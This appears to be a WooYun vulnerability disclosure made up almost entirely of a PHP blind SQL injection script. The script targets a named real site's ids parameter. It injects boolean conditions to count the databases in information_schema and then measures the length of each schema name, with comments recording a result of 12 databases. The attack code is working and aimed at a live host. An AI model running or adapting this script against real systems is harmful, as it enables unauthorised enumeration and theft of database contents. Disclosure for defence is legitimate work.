WooYun.org

<?php
//here test for database counts include system database
$url = 'http://ad.goodbaby.com/multi.php?ids=54545';
$parameter = ' or (select count(1) from information_schema.SCHEMATA)=';
$dbcount = 0;
for ($i = 1; $i < 100; $i++)
{
	$ret = file_get_contents($url.urlencode($parameter).$i);
	if (strlen($ret) > 300)
	{
		$dbcount = $i;
		//here output: find database counts: 12
		echo 'find database counts: '.$i,PHP_EOL;
		break;
	}
}
//now we try to output all of databases name
$where = ' where 1 ';
for ($i = 0; $i < $dbcount; $i++)
{
	$dblen = 0;
	for ($j = 1; $j < 50; $j++)
	{
		$parameter = ' or (select length(SCHEMA_NAME) from information_schema.SCHEMATA '.$where.'  LIMIT 1)='.$j;
		//echo $url.($parameter);die;
		$ret = file_get_contents($url.urlencode($parameter));
		if (strlen($ret) > 300)
		{
			$dblen = $j;
			$where .= ' and length(SCHEMA_NAME) <> '.$j;
			echo 'find database '.($i + 1).'  string length : '.$j,' so we try to get database name',PHP_EOL;
			break;
		}
	}
}